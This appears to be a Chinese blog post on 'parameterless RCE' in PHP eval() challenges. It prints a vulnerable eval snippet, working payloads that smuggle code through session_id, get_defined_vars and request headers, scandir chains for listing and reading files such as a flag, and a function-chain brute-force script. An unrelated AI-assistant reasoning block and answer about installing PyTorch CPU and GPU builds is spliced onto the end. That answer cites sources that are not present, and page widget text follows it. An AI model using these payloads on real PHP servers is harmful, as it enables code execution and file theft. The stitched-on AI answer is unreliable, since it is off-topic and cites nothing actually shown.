无参数rce

总结一下无参数rce的各种解法(为了便于自己查找,同时为了把自己收藏夹的几个相关网址删掉,每次都在别人博客找很麻烦的(手动狗头))
首先准备代码

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['a'])) {   
   	eval($_GET['a']);}

利用session_id

php中有一个函数叫session_id(),可以直接获取到cookie中的phpsessionid值,phpsessionid的组成符号有限定,不能使用 ’ () ',所以我们需要将我们要执行的命令转换成16进制,然后再通过hex2bin函数转换回去

<?php
echo bin2hex('phpinfo();');  //706870696e666f28293b

但是呢,session_id的使用需要开启session,所以需要session_start()函数
hex2bin(session_id(session_start()))
但是呢,仅仅一个eval执行上面代码只会把十六进制转换成字符串’phpinfo();’,所以我们还需要一个eval
最终
在这里插入图片描述

利用get_defined_vars ()函数

get_defined_vars():返回由所有已定义变量所组成的数组
下面我们先做一个实验

echo "<?php print_r(get_defined_vars()); ?>">4.php

在这里插入图片描述
我们通过get或者post方法传入的参数以及它的值能够通过该函数读取出来,
而get_defined_vars()返回的又是一个数组,我们能够通过php的一系列数组函数读取到该数组中任意我们想要的值

end() - 将内部指针指向数组中的最后一个元素,并输出。
next() - 将内部指针指向数组中的下一个元素,并输出。
prev() - 将内部指针指向数组中的上一个元素,并输出。
reset() - 将内部指针指向数组中的第一个元素,并输出。
each() - 返回当前元素的键名和键值,并将内部指针向前移动。

我们先尝试一下current
在这里插入图片描述
然后end
在这里插入图片描述
发现得到我们想要的字符串phpinfo();
最终payload

a=eval(end(current(get_defined_vars())));&b=phpinfo();

利用getallheaders()

getallheaders返回当前请求的所有请求头信息
直接使用
在这里插入图片描述
我是直接把Cache-Control的值改了,也可以操作其他的http头

其他的读取文件的方法

直接说利用代码吧

获得当前目录文件

var_dump(scandir(getcwd())); 
var_dump(scandir(current(localeconv()));  
var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))));    //利用三角函数和floor ceil,这个是php7下能够成功

获得上级目录文件

var_dump(scandir(dirname(getcwd())));
var_dump(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))));//这种方法理论上来说,每隔47秒才能成功执行一次
var_dump(scandir(chr(ceil(sqrt(cosh(tan(tan(tan(cosh(sinh(exp(chdir(next(scandir(pos(localeconv()))))))))))))))));

找到flag文件后的读取
如果flag是最后一个:end()
flag处于倒数第二个:next(array_reverse())
flag处于其他位置(这种靠运气):array_rand(array_flip())

附上三角函数的脚本,可以自己改一改,或者增加点函数

<?php
$list = array("ceil","sinh","cosh","tan","floor","sqrt","cos","sin");
foreach($list as $a){
foreach($list as $b){
foreach($list as $c){
foreach($list as $d){
foreach($list as $e){
foreach($list as $f){
foreach($list as $g){
foreach($list as $h){
if($a($b($c($d($e($f($g($h(phpversion())))))))) == 46)
echo "$a+$b+$c+$d+$e+$f+$g+$h"."\n";    
}}}}}}}}
?>

最后用读文件的函数读就可以了,什file_get_contents,readfile,highlight_file等等
就是这些了,以后还发现的话还会继续补充

参考链接:https://www.cnblogs.com/xhds/p/12881059.html
https://www.cnblogs.com/wangtanzhi/p/12260986.html
http://www.manongjc.com/detail/15-pkewlbdqeprvjeh.html
https://blog.youkuaiyun.com/qq_45449318/article/details/105237550
https://www.cnblogs.com/wangtanzhi/p/12311239.html

<think>好的,我现在需要回答用户关于PyTorch是否支持同时安装CPUGPU版本的问题。首先,我应该回顾一下PyTorch的安装机制。根据用户提供的引用资料,安装GPU版本的PyTorch通常需要特定的CUDA版本,并且用户可能需要通过不同的渠道获取对应的whl文件,比如从官网或镜像源下载[^2][^3][^5]。 接下来,我需要理解CPUGPU版本的区别。CPU版本是运行在处理器上的,而GPU版本需要NVIDIA的CUDA支持,利用显卡加速计算。两者在安装包上有不同的依赖项库文件,例如GPU版本会包含CUDA相关的库,而CPU版本则没有这些。 然后,我考虑是否可以在同一个环境中同时安装两个版本。根据经验,Python的包管理通常不允许同一个包的不同版本共存,因为包名称相同(如torch)会导致冲突。用户提供的引用中提到,如果强行安装不同版本的torch,可能会覆盖现有安装,导致不可预期的问题[^4][^5]。例如,如果先安装CPU版本,再安装GPU版本,后者会覆盖前者,反之亦然。 此外,用户可能需要同时使用两种环境的情况,比如在没有GPU的机器上运行CPU代码,而在有GPU的机器上运行加速代码。这时,使用虚拟环境(如conda或venv)分别创建独立的环境可能更合适。每个环境可以安装对应的PyTorch版本,避免冲突[^1][^3]。 还有一个考虑点是PyTorch的设计是否支持同时加载两个版本的库。通常,在运行时,PyTorch会检测可用的CUDA设备,并自动使用GPU版本。如果安装了GPU版本,即使代码中没有显式调用CUDA函数,PyTorch也会优先使用GPU资源。因此,同时安装两个版本不仅技术上不可行,也没有实际必要,因为GPU版本已经包含CPU功能。 最后,我需要总结这些信息,给出清晰的回答,并建议用户使用虚拟环境来管理不同版本的PyTorch,确保项目的兼容性稳定性。</think>PyTorch无法在同一个Python环境中同时安装CPUGPU版本。以下是具体分析及解决方案: ### 一、版本冲突机制 PyTorch的CPUGPU版本通过包名`torch`进行统一管理。安装时会根据后缀(如`cuXXX`表示CUDA版本)决定具体类型: - CPU版本:例如`torch-1.10.0-cp37-cp37m-win_amd64.whl` - GPU版本:例如`torch-1.10.0+cu113-cp37-cp37m-win_amd64.whl` 由于包名相同,后安装的版本会直接覆盖前一个版本[^4]。例如: ```bash # 先安装CPU版本 pip install torch==1.10.0 # 再安装GPU版本会导致覆盖 pip install torch==1.10.0+cu113 ``` ### 二、推荐解决方案 使用虚拟环境隔离不同需求: 1. **Conda环境管理**(推荐): ```bash # 创建GPU环境 conda create -n pytorch_gpu python=3.8 conda activate pytorch_gpu pip install torch torchvision --extra-index-url https://download.pytorch.org/whl/cu113 # 创建CPU环境 conda create -n pytorch_cpu python=3.8 conda activate pytorch_cpu pip install torch torchvision ``` 通过`conda activate`切换环境即可[^3] 2. **Docker容器方案**: ```dockerfile # GPU容器 FROM pytorch/pytorch:1.10.0-cuda11.3-cudnn8-runtime # CPU容器 FROM pytorch/pytorch:1.10.0-cpu ``` ### 三、版本兼容性验证 安装后可通过以下代码检测当前环境版本: ```python import torch print(torch.__version__) # 输出如1.10.0+cpu或1.10.0+cu113 print(torch.cuda.is_available()) # GPU版本返回True ``` ### 四、特殊需求处理 若需在GPU版本中使用CPU模式,可直接通过代码指定设备: ```python device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu") tensor = torch.randn(3,3).to(device) ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值